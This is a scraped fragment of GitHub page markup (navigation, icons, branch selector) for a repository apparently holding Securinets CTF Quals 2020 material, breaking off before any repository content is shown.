3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> dosxuz </span> <span>/</span> Securinets-CTF-Quals-2020 <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/dosxuz/Securinets-CTF-Quals-2020/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":249339878,"originating_url":"https://github.com/dosxuz/Securinets-CTF-Quals-2020/tree/master/unc","user_id":null}}" data-hydro-click-hmac="85aef4570ae69f73a7d6c0d83023b45c395854e89c7a45594d83b9aaf001d0a4"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/dosxuz/Securinets-CTF-Quals-2020/refs" cache-key="v0:1584939830.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZG9zeHV6L1NlY3VyaW5ldHMtQ1RGLVF1YWxzLTIwMjA=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/dosxuz/Securinets-CTF-Quals-2020/refs" cache-key="v0:1584939830.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZG9zeHV6L1NlY3VyaW5ldHMtQ1RGLVF1YWxzLTIwMjA=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button 